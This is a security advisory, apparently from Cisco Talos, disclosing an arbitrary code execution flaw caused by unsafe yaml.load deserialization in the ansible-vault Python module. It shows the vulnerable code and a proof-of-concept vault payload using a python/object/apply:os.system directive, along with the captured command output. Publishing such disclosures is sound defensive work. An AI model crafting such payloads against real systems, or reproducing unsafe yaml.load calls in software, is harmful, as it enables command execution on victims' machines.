An exploitable vulnerability exists in the yaml loading functionality of ansible-vault. A specially crafted vault can execute arbitrary python commands resulting in command execution. An attacker can insert python into the vault to trigger this vulnerability.
7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-502 - Deserialization of Untrusted Data
Ansible provides an easy solution for automating IT and network based tasks. The 3rd party python module, ansible-vault provides an encrypted format to contain potential secrets related to the automation.
api.py:9 class Vault(object): '''R/W an ansible-vault yaml file''' def __init__(self, password): self.password = password self.vault = VaultLib(password) def load(self, stream): '''read vault steam and return python object''' return yaml.load(self.vault.decrypt(stream)) 
ansible-vault is leveraging the unsafe API
yaml.load  for loading the yaml it decrypts. This yaml can contain a python directive to execute arbitrary commands.
An example vault is shown below that, when loaded, will execute an arbitary command:
$ ansible-vault view pwned Vault password: !!python/object/apply:os.system ["echo 'Hi from Talos!'; id; uname -a"]
A quick test leveraging the ansible-vault API shows the commands being executed:
(ansible) user in ~ $ ipython In : from ansible_vault import Vault In : v = Vault('password') In : v.load(open('pwned').read()) Hi from Talos! uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),113(sambashare) Linux fuzz0 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
2017-04-07 - Vendor Disclosure
2017-09-14 - Public Release
Discovered by Cory Duplantis of Cisco Talos. Talos would also like to thank Dylan Ayrey for his collaboration.